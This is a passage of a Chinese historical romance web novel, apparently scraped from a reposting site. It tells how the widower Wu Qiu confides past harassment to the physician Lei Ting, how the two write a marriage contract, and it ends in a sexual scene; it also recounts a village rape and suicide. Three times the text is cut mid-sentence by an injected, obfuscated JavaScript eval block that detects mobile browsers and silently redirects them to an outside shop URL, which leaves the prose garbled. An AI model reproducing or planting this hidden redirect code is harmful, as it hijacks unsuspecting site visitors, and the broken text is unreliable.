他从那一天他去河边洗衣裳说起,说到后来薛虎拦着他说话,说到薛虎想让自己委身于他,说到无数个担惊受怕、夜不能寐的夜晚,竹筒倒豆子一样全讲了出来。 雷铤听得喘不过气。 他想,自己竟能让薛虎活着从眼皮底下逃了去,身为男子却不能庇护自己的心上人,还有什么脸面求娶邬秋。 方才那一剑就应当果断些,直接…… 正这时,两人将要迈出山林,踏上山脚的土路。邬秋止住步子,眼望着雷铤:“我从未蓄意勾引过他,我讨厌他的为人。我邻居的哥儿告诉我说苍蝇不抱无缝的蛋,可我那日在河边的确是无心的,我只是想别弄湿了衣袖,我没料到会惹出这一场祸来。” 他的嘴角克制不住地向下撇着,微蹙着眉,几度哽咽:“无人可以为我作证,可是我真的没有举止不检点,也没有同他好过。” 他过去常听村里的老人讲起,村东口有户人家,那家有个大眼睛的年轻哥儿,平日里见人就爱笑,大家都喜欢他。后来这哥儿定下了亲事,家里还摆了宴席,请几位亲戚邻居去庆贺。结果有个堂兄吃醉了酒,一家子都在外头吃饭,他自己摇摇晃晃竟进了哥儿的屋子。家里人听见喊叫赶来时,那堂兄已经醉倒在床上,睡得不省人事,小哥儿一直哭,大家都说看见他脖子上有几道抓痕,定是被玷污了去。 堂兄酒醒后被罚到祠堂跪了两三天,好像还挨了打。可是原本与那哥儿定了亲事的男子还是退了亲。村里又有流言,说肯定还有什么事,指不定是那哥儿自己做了什么不光彩的事,又说哪个年轻男人高兴了不馋一口酒,醉酒玩闹,也不算什么大事,更有甚者,劝哥儿的父母,不如就将他嫁与堂兄,也好掩去了一桩丑事。 那小哥儿后来投河死了。 邬秋几乎已经没有勇气再说下去,可还是强撑着睁大了眼睛,一眼不错地看着雷铤的神情,用尽全力最后开口,却只发出嗫嚅般的低语:“所以……你还愿意娶我么?” 雷铤一步上前,手指轻托着邬秋的下巴,让他仰起脸来,迎着那双渐渐瞪大的眼睛,低头轻轻亲了亲他的嘴唇。他没有深入,也没敢太用力,一触即分。可是邬秋的身子如释重负一般一下软了,若不是雷铤眼疾手快把他捞进怀里,他也许会跪倒在地上。 雷铤轻拍了拍邬秋的脸:“慢点喘口气,缓一缓。” 邬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091747|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋眨着眼睛,依言深深吐息两回,总算能站得住身子。雷铤刚想接着说,邬秋忽然伸手环住了他的脖子,把自己贴紧了他的身子,踮起脚尖,一口咬在了雷铤的唇上。他过于急切,动作略重了些,雷铤只是有点诧异地挑了挑眉,没有推避,反而将人搂得更紧,迎合上邬秋唇舌胡乱的动作,引着他慢下来、轻下来,由迫切急躁转变为缱绻绵长。 邬秋闭上了眼睛,脸颊和耳朵全红透了,泪却从眼角渗出来,聚成珠滚落。 等二人终于分开,雷铤看邬秋红着脸,胸脯急促地起伏,脸上还有湿漉漉的泪痕,更心生无尽的怜爱,忍不住又低头在他嘴角亲了一下:“自然要娶啊。让你受了如此委屈,是我没本事,既如此秋儿还愿意嫁给我,那才是我的福气。” 邬秋的泪早止住了,这会儿才后知后觉回味方才的衔口吮舌,羞得不肯抬头,在雷铤肩上一推:“你也学会油嘴滑舌了。” 虽然路上延误了些时辰,但他们清晨动身早,等去找先前的伙计取了马车,也还赶得上在城门下钥前回去。雷铤检查好马匹车厢,正欲驾车,却看见邬秋已经自己坐到了后头车厢里。 雷铤用马鞭点了点身旁的空位:“怎么不过来?” 邬秋正拿帕子自己擦脸,闻言抬起眼来,小声道:“叫人看见……” 来的时候是出城,加之是清早起来人极少的时候,现在要进城,傍晚人又多。邬秋其实很想和雷铤呆在一处,但又恐人看见再说什么闲话,便自己到后头去了。雷铤看他半张脸都埋在帕子里,只有一双眼睛娇羞怯怯,眼波含情,那帕子还是原先自己用的那方苔绿的,心里早泛起痒意来,坚持道:“无妨,左右路上也碰不到什么人,到城门口你再回去,行么?” 邬秋便从车厢跨出来,挨着雷铤坐下。 雷铤看着前头的路,不时扭脸看一眼邬秋,邬秋便将脸靠在他胳膊上,不给他看见:“大哥还不专心驾车呢,老是看着我做什么。” 雷铤笑了:“这会儿又叫起大哥了?换一个好不好?” 邬秋攀着雷铤的胳膊直起身子,把下巴颏搁在他肩上,在他耳边哼哼唧唧地撒娇:“怎么连‘大哥’也不给叫啦,你想听我叫什么,先生?良冶?铤哥哥?” 雷铤瞧准了四下无人,将腰上随身挂着的折扇解下来,哗啦一声抖开挡在外侧,又追着邬秋的嘴唇飞速亲了两口。 毕竟还在外头,两人很快各自重新坐好,雷铤依旧目视前方,邬秋有点累了,靠在他身上,阖眼休息。雷铤以为他想小睡一会儿,便将车略赶慢了些,免得颠簸太过。可邬秋忽然含含糊糊地说道:“我定是被你骗了,你从前最是稳重正经的。” 雷铤轻轻一笑,也不辩驳,只“嗯”了一声。 邬秋又在咬自己的嘴唇:“那——我们先前说定的事,你可没有骗我,对吧?” 雷铤腾出一只手捏了捏邬秋的耳垂:“不骗你,我一定会娶你做我的夫郎。等今日回去,我便和我爹、我阿爹去说,你也同你娘说说,若一切妥当,我便预备下聘书礼书之类。另外我家同永宁城几个有头脸的媒人也有些交情,找一个给咱们合了八字,我们就能成亲了。” 邬秋知道他是怕拖下去自己不安,才赶着将事情安排下,忙道:“我知道你认真便好了。眼下大疫初兴,医馆每日忙着救治病患,百姓的命才是最要紧的,我们来日方长,别急于一时。有你这句话,我就不会再害怕了,你也别急。” 雷铤垂眸看着邬秋:“也好,等这场灾情过去,办起来也更从容些,还可以多请些宾客。” 天边已经看得见霞光的颜色和永宁城的轮廓,一并相迎的还有温柔的晚风,雷铤望着天际的红,轻轻叹了口气:“今日之事,皆是因我太不谨慎,倒委屈了你。秋儿,我只会信你说的话,并且你从未做错过任何事。那一日就算你没有卷起衣袖,别有用心之人也会有别的由头来欺侮你。过去这些年,你还能护好自己,没有放弃,秋儿是我见过最了不起的哥儿。你很好,不要再将那些闲言恶语放在心上了。” 邬秋愣了愣,又有一点想哭了。可他忍了忍,到底没让泪流出来,仰着脸,努力对雷铤露出个笑来。 他终于等到这一天。过去几年里无数个为此气愤、为此委屈、为此流泪乃至于想要一死了之的邬秋们,等到了那一句看似微不足道,却足以使心上的伤痕愈合的“错不在你”。 16. 一封婚书! 永宁城边上不远有座观音寺,瘟疫初兴时,官府便在观音寺设了养病坊,把染上疫病的病人接到此处照料,又令城内几家医馆的郎中轮流值守,诊治病患。雷铤和邬秋回到医馆的时候,雷迅和雷栎已经去了养病坊,夜间也要留在那里照应,家里只留下崔南山和雷檀救治来医馆求医病人。 两人回来时天已擦黑,刘娘子和杨姝已备好了饭菜,但医馆还有好几位病人没走。雷铤便让崔南山和雷檀先去休息,自己接着给剩下的人诊治。 他以为邬秋已经过去一同用饭,结果邬秋从旁边打帘子进来了。他已经去洗过了手,正过来倒了热水,预备安顿几个久候的病人坐下喝些水。雷铤忙叫他也去吃饭,邬秋闻言摇摇头:“我同你一起,也好有个人搭把手。待会儿咱们一起吃饭。” 雷铤笑了笑,不再推脱,安下心来问诊。 邬秋就在他身边站着。他不懂医术,没法帮着看病,但能打打下手。雷铤给人诊脉,他就趁这工夫帮忙磨墨,再把开方子的纸在雷铤手边摆好,雷铤去后头替人抓药,他就在前面应承着病人。他的眼睛几乎没离开过雷铤的脸,看着雷铤凝神给病人把脉,时而微微皱眉,时而神情又松缓下来,不再那么严肃—— 雷铤偶然抬头,看见邬秋站在旁边,呆呆地盯着自己,似乎已经看痴了。这副入神的模样,让雷铤也忍不住心里一软,再开口时,声音也不禁柔和了:“秋儿,烦你去替我将那银针燎一遍火。” 邬秋这才回神,自己倒不好意思起来,忙起身去了。雷铤对针灸的一套银针十分爱惜,用之前必要用火燎过,用过之后还要过火,再用专门的青布裹好,用丝线缠紧,平日也不叫人乱动。但是他早就教了邬秋这一套法子,此时便找了邬秋去做。 说来也怪,邬秋并不是头一遭在旁边帮他的忙,但许是两人刚刚互通了心意,雷铤总觉着一切都不一样了。他一向在坐诊时相当专注,从不想旁的事分神,此刻却一面替病人用药汤擦了要施针之处,一面忍不住地想起邬秋方才眼里满是自己的样子。 他头一次感觉到原来人的眼睛竟可以像两汪深不见底的潭水,直叫人溺在里面。 这一瞬的失神,很快便被雷铤自己敏锐地觉察。雷铤暗自责备自己不该如此,又想怨不得人常说情关难过,原来自己也早已经变了。 最后这位病人家就离医馆不远,与雷家算得上熟识,便同雷铤搭话道:“过去没见过医馆还有这么一位清俊郎君呢。” 雷铤不愿意此刻就将两人的关系说与外人,便淡淡应道:“他是我家亲戚,原不在永宁城住的。” 邬秋端着针包回来,那人便没再多问,雷铤也没有接着多说,拈针为病人针灸,却在行针完毕后回过味来,心里琢磨着“亲戚”二字,虽然话是自己说的,也确实只是不想在一切事情办妥前过分张扬,但仍有一丝微妙的不情愿。 病人已经送走了,邬秋的肚子小小地叫了一声。雷铤听见了,心情又无端好了几分,抬手捏了捏邬秋的脸,笑道:“辛苦秋儿了,咱们吃饭去吧。” 邬秋在他手背上拍了一下:“不许笑。” 这时候大家都在后头院里,前面只有雷铤和邬秋两个人。雷铤的笑意一点没减,盯着邬秋的脸看,把邬秋盯得两颊飞红,软下声音埋怨道:“还看什么呢,以后可有你看的日子,不如现在少瞧两眼,免得没几天就看厌了。” 雷铤坐在椅上没起身,脚跟点了点地,伸手拉住了邬秋的衣袖:“过来点。” 邬秋有点紧张地看向后院的方向:“家里人都在呢……” 雷铤哄他道:“就抱一下,好不好?阿爹他们都在后头呢,便是他们过来我也能听到,提前叫你起来。” 邬秋低了头,红着脸跨坐到了雷铤怀里,被紧紧地抱住了。暖意从雷铤的身上传来,融进邬秋的身体。他坐在雷铤腿上,由此倒略高了些,雷铤便仰起脸,按着邬秋的后脑勺让他低下来,亲了亲那两片薄唇,又忍不住轻轻含着他的唇珠吮咬。雷铤的动作一向很柔和,不会让人觉出急躁,这样反而安抚了邬秋的紧张,让他也渐渐得了趣味,两人甫一分开,他就追上去用舌尖舔了舔雷铤的嘴角,勾着又亲了一次。 剩下的时间他们没再做别的,只是静静地相拥,雷铤偶尔在邬秋脸上、颈上亲两下,但都不敢太用力,动作极轻,极尽怜爱。 雷铤搂紧了邬秋的腰:“怎么会看厌呢?看一辈子也不嫌多。” 邬秋趴在他肩头蹭了蹭,小声道:“油嘴滑舌——不过我倒真觉着奇怪,今日也总想着这事,觉着像做梦一般,以后……以后你真的就是我相公啦?” 雷铤深吸了两口气,才摸摸他的头道:“好秋儿,再叫一声。” 邬秋心跳得极快,从雷铤怀里挣下来:“还没成亲呢,不叫了不叫了。我吃饭去了。” 雷铤也起身跟在后头。看来提亲的事要趁早着手办了。 崔南山杨姝等都想问问雷铤他们在山里的情况,一家子便都没回房歇息,陪着雷铤和邬秋一同用饭,饭后又谈了好一会儿,才各自散了。邬秋陪着杨姝回房,杨姝这才细细问他在山里可有吃饱穿暖,有没有磕着碰着。邬秋笑回道:“娘,这才去了两日呢,也没有走太深。再说,雷大哥也很照顾我,没有出什么事。” 他想先在杨姝面前说说雷铤的好话,再看看杨姝反应如何。 可杨姝却没注意他话里的意思,只叹气道:“这可大意不得呢。人家都说山里有山神爷,他老人家心里一不痛快啊,进山的凭你是什么高人,便都要吃些亏才得脱身,可得千万加仔细小心。你看安儿——” 她忽然掩口不说了,转而长长叹了口气:“不说这个了,秋儿下次出去可不敢大意了,要再多加小心才是。” 她的儿子,邬秋原配的相公薛安,便是在山里打柴失了脚摔伤,才年纪轻轻就撒手人寰的。所以杨姝才对邬秋进山这事尤其紧张。当初邬秋说要进山一同去采药的时候,杨姝就舍不得他去,总是心里不安。可这是事关百姓性命的大事,她最终也没说出个“不”字,只是自己日夜悬心,这两日竟似两月一般煎熬。故此现在纵是人已经平安回来了,还是要再三说道几句。 可说者无意,听者有心。 邬秋深知杨姝是太担心自己才多说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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邬秋没什么力气地笑了一下,窝在雷铤怀里,重新闭上眼睛听他说话。 雷铤又道:“我虽未见过薛安兄弟,不过见杨娘子的为人,便知道他一定是个忠厚老实的好人。杨娘子和他相依为命,母子情深,杨娘子惦念着孩子,这也是情理之中的事。” 邬秋在他怀里点点头,雷铤便继续说道:“你若嫁与我,她便是我的岳母,我待她必如待亲生父母,秋儿也不必担心。” 邬秋已在不知不觉中又睁开了眼,眨着眼睛看着雷铤。 雷铤在他眼睛上又亲了一下,逗得邬秋一笑,继续道:“倘若我们成了亲,杨娘子也还会继续想念薛安兄弟的,那是她的孩子,她这一生都不会忘记他。可是秋儿,她也会为你高兴的,在她眼里,你早就不仅仅是薛家的寡夫郎了。杨娘子就是怕你一辈子守寡,怕你无法有个像样的家,所以才劝你再嫁。她已视你为亲骨肉,她会希望你也能过得欢喜,希望你做你想做的事。” 他伸手将桌上的东西拿起来,邬秋才注意到雷铤方才在写什么。是一张大红洒金的纸,裁得极其规整方正,上书工整的小楷,连墨汁里都添了金粉,写出的字在灯下像会闪着光。边角下空着一块,像是还没写完。 邬秋的心思被吸引过来,问道:“这是什么?怎么弄得这样好看?” 雷铤笑了:“这是——一封婚书。” 17. 衾枕之乐! 这封婚书一拿出来,邬秋连难过都忘了,直愣愣地望着那张红纸。雷铤想把纸递给他,邬秋如坠梦中,呆呆地伸手去接。那大红的纸像火一般,在他的指尖一烫,烫得他猛然回神,向后略略缩了手,可随后又伸出来,小心翼翼地把它捧在了手里,细细地看着。 邬秋学习识字没几天,上面写的字他大都不认得,但能认出是雷铤的笔迹。他的目光随着那些笔画,一笔笔顺着墨迹描摹,像是在端详一件世间绝无仅有的珍宝。雷铤也并不急,不催他,陪着他一起慢慢地看。 邬秋看了半晌,才扭头去看雷铤,嘴角的笑压制不住,可声音里还有一丝不确定,求证似的问道:“这是我们的婚书?” 雷铤在他鼻子上点了点,眼底笑意很浓:“自然是的。” 邬秋把那张红纸极小心地捧回桌上放好,又忙忙地把旁边未干的毛笔挪远了些,生怕蹭上一星墨点,轻声叹道:“我们的婚书!” 雷铤亲了亲他的头发:“还差一点没有写完,过一会儿我们一同来写。论理,三书六礼,要预备的东西还多着呢,可我等不得了,就先写了这个。不想还没作完,倒被你撞见了。” 邬秋环着他的脖子,闻言撇撇嘴,哼了一声,可笑得更欢喜了:“真不想叫我看见,哪里写不得,自己回东厢房去写就是了,明知道我要从院里路过,巴巴的跑到这里写做什么。” 他说这话,雷铤却想到了旁的事,想自己那处东厢院,以后便是和邬秋两个人住着了,不觉心尖发软:“秋儿想不想知道上面写了什么?” 邬秋点头,坐正了身子,神情都肃穆起来。 雷铤一字一字指着那洒金红纸上的字,一边读给邬秋听,时不时还要亲亲他的脸、唇、耳朵、发丝。他的声音还是低沉好听,在邬秋耳边徐徐念着:“值此孟秋良辰,请结两姓之好。相识未久,倾瞩良深。愿效潘杨之睦,乞得梁孟之谊。结琴瑟之好,许白头永偕。结发为誓,恩爱不疑。天地为证,谨订此约——秋儿,这是说我们会相伴一生,相敬相亲。” 最后落款在“宁和六年七月十有九日”,雷铤伸手将笔拿起来,浸饱了墨汁:“还差我们两个的名字,要写在这后头的,方才并没写完,我们就一同写吧。” 邬秋的神思有一瞬恍惚,这样的情形,似乎他曾在梦里见过,幸福得叫人起疑心——他有个有些稚嫩的想头,这一切会不会全都是一场梦,他怕第二天一睁眼,发现自己还在那间破旧的土地庙里,忙使劲揉了揉眼睛,又在自己手上偷偷掐了两下。 好在,他还好端端地依偎在雷铤怀里,令人安心的温暖包裹着他,让他的心又落回肚子里。 雷铤写下了自己的名字,又把笔递给邬秋:“秋儿便写在这里,在我的旁边。我教你来写。” 邬秋手直抖,雷铤从后面握住他的手。雷铤的手指骨节分明,手掌宽大,把邬秋的手整个包在手心里,稳住发颤的笔端。他忽然有点想哭,可又怕泪珠滴在纸上,抿着嘴强忍回眼泪,看着自己的名字慢慢出现在纸上,就挨在雷铤的旁边。 他搁下笔,轻轻吹干纸上的墨迹,声音有点哽咽,对雷铤说道:“该叫你写的,我手太抖,写着不好看。” 雷铤其实心中也如波涛翻卷,极不平静,听到邬秋快哭了,心里像被人抓了一把,哑声道:“这是你亲手写的,是最好的。” 他说罢便咬上了邬秋的嘴唇。先前他从未这样急迫过,缠得邬秋发出几声呜咽,脸上红得发烫。等两人分开,邬秋已经几乎喘不上来气,头脑发昏,软了身子,倚在雷铤怀里轻轻咳嗽。 雷铤拿帕子替他擦了擦脸上的汗,又擦去嘴角的湿痕。邬秋才堪堪缓过气来,可心里很欢喜,甜得像浸了蜜,因此也没有怪罪雷铤罕有的莽撞,只把脸埋在雷铤肩上,不大好意思去看他。 雷铤侧过脸,抚着邬秋的背替他顺气。这个姿势恰好看见邬秋耳垂上有个不大显眼的红点,便顺口问道:“秋儿还穿过耳吗,倒没见你戴过耳坠子。” 邬秋的气息才稳下来,懒懒开口:“从前戴过的,后来……在村里就不敢再戴了,怕引的那些别有用心之人注意,太久不戴,耳洞便自己长住了。耳坠子原本有两副,这场大水过来,也都不知丢在哪里了。只有这一只,是我娘在我小时候给我做了玩的,我一直贴身揣着,还是丢了一只,现在剩下一个了。” 他一面说,一面从怀里掏出一个小小的坠子。青绿的颜色,但不是什么名贵的材料,只是块打磨圆润的小石头,颜色倒是很好看,躺在邬秋手心泛着柔光。邬秋盯着它看了片刻,忽然笑道:“我爹娘若是泉下有知,看到我嫁给你,一定也会高兴的。” 他拈起那坠子,比在自己耳垂上问:“好看么?可惜只剩一边了。” 这一点绿色,在灯烛光下显得不那么青翠,却正合了夏日的气息,可算得上点睛一笔,与邬秋眼角那一颗淡淡的红痣相得益彰。雷铤喉头滚动,觉着嗓子干得很,需要喝口水润润似的:“很好看。” 邬秋笑起来:“人家都说要为悦己者容呢,你说好看,我可就真信了,你不许唬我。赶明儿——等这场灾过去,我便去再穿一次,戴着给你看。” 雷铤点头:“秋儿生得好看,若是你喜欢,日后尽可以好好打扮打扮,便是锦上添花了。过去我爹和我阿爹急着让我娶亲,已经备下了聘礼,里头有几副首饰。后来他们不催了,那些东西便由我自己收着,秋儿想不想看看?” 邬秋同意了,两人便将书房收拾好,那封婚书仔细折起来,雷铤也给邬秋揣在了怀里,叫他收着,也好叫邬秋少些不安。他们呆得有些久了,出来时正房的灯都已熄了。雷铤端着烛台,邬秋便大着胆子挨在他身边,偷偷牵着他的一根手指。 东厢院比雷栎雷檀他们住的西厢要宽敞些,是一处独立的小院,与正院有道小院门隔着。进来靠北边院墙的便是雷铤的卧房,靠东是雷铤自己的小书房,南墙边还有一间空屋,放了些杂物。邬秋到医馆一月有余,但没怎么来过这间院,若有事找雷铤,也只在刚进院的地方等着,或站在院门口喊一声,第一次由雷铤领着走进来,反倒有些紧张了。 雷铤在卧房门前止步,回头看着邬秋,问道:“那些东西我都收在自己屋里了,秋儿愿意进来么?或者我拿出来看也可以。” 他话里好像有点别的意思,邬秋不知是不是自己想得太多,但无论如何,他都是愿意的,便点了点头,红着脸小声应道:“就……就进去吧……” 雷铤便牵起他的手,一步步走进屋来,又关上了屋门。 这房里陈设很简单,外间一张方桌,左右有两把圈椅,旁边立着一口柜子。内间有道纱帐挡着,雷铤把帐帘卷起来,邬秋看到靠窗边有一张翘头书案,一把扶手椅,一口立柜,还有一张六柱架子床,床上的帐子和枕头被褥之类,皆用苍绿的颜色,在夏日看来确有几分凉意。雷铤借着手中的烛台,点了内间的灯, 邬秋想去那张扶手椅上先坐,雷铤直接拉他坐到了床上,自己去开了立柜找东西。 邬秋忍不住伸手偷偷抚摸雷铤的床褥,床帐子里头大概挂了什么安神的香,很是好闻。他闻着这味道,忽然又觉得害羞起来。自己竟坐在心悦男子的床榻上。他忍不住想,日后他们真的拜堂成了亲,全了礼数之后,自己大概也会搬到这里……又禁不住乱猜,雷铤今夜带他到这里来,会不会……会不会…… 正想着,雷铤端了一只木匣子回来,在邬秋对面坐下,对邬秋道:“你来揭开吧。” 木匣上着把锁,雷铤把钥匙一并递过来,邬秋将锁子取下,打开锁扣,掀开盖子。 里头黄澄澄的在灯下闪着光,邬秋愣了,细看时,只见里面有一对赤金缠花的鸳鸯镯,一副碧玉的耳坠子,还有一支赤金镶银的发簪,一对赤金雕花的指环。雷铤随手拣了个镯子,捉过邬秋的手,放在他手里:“这是早年做的了,可不知大小合不合适,秋儿试试。” 邬秋有点不敢接:“这、这太贵重了……” 过去在村里时,他也见过人家娶亲,大多都是用银饰的,富裕人家偶有一两件金饰,哪像这般有一整套金首饰。 雷铤摇摇头:“这些是多年积攒下的,要娶你,自然要配最好的,这些也不算太多。这上的花纹样式可能不大时兴了,秋儿不喜欢的话,回头我拿去首饰铺子里,叫工匠再给改改。” 邬秋想了想,也不再退却,自己把金镯戴上,挽起袖子,将手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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雷铤顿了顿,他有点怕邬秋自己不愿意,怕他是为了讨自己高兴,但是看他眼里的神色又不大像,想了想还是开口问道:“秋儿愿意么?” 邬秋在他耳边厮磨,声音听起来像有些含含糊糊的:“愿意呀,哥哥,你已经是我相公了。” 邬秋身上这件里衣,还是他来到医馆后新做的,用的料子就是家里做衣服富余下的,有什么便用什么了,也没专门去挑。他平时穿得都很朴素,颜色也多是些不大鲜艳的角色,这件里衣却恰是柳黄色的,显得尤为娇嫩,更衬出胳膊上、腿上皮肤白皙胜雪。 雷铤一面抱着他,绵绵密密地亲下去,一面忍不住夸道:“真好看,秋儿穿这样的鲜亮颜色很美。” 他平时勤加锻炼,又时常以习武修身,此时烛光照出他腰腹、胸前肌肉的沟壑,邬秋看得脸热,又被雷铤一夸,更不知该说什么是好,羞得拿手指挡住雷铤的嘴唇:“别说……你别说……” 雷铤腾出一只手,去攀那两点玉珠,还偏要引逗着人:“为何不说呢,秋儿确实极美。” 指尖用了点力气一掐,邬秋立刻倒吸两口气,说不出话来,埋怨一般在雷铤肩上咬了一口。 雷铤笑起来:“好,我不说了,不说了。” 两滴汗顺着他的额角滑下来,在下颌汇成晶亮的一颗,又坠下来滴到邬秋身上。邬秋身上发颤,见此情形,又心有不忍:“只用手吗?其实……其实换你也可以……” 雷铤亲了亲他的脸:“听话,不准备好会受伤。秋儿不必担心,交给我来便好。” 他确实没有让邬秋受一点伤,即便后来到了阳峰递送之时,动作依旧尽力放轻,并且不敢贪图一时快意。他们都是初次行事,雷铤身为郎中,深知若弄不好极有可能引得邬秋不适,便处处小心着。饶是如此,也让邬秋哭红了眼睛,嘴唇被他自己咬得鲜红。雷铤借着昏暗的灯光看见,怕他咬破了唇,便亲着他叫他松开。 邬秋断续续哭道:“会……被人听……听见……” 雷铤心里更生发出无尽的怜爱,替他拭泪:“不会的,这里外头听不到的。” 邬秋只不信,抽噎着摇头。这院子也没有多深,况且夜间幽静,有点动静便能听得很清楚。雷铤无法,只得俯身将那低吟声尽数吞入自己口中。 床上的青帐不知什么时候被放下了,一豆灯光,在帷帐上映出交叠的身影。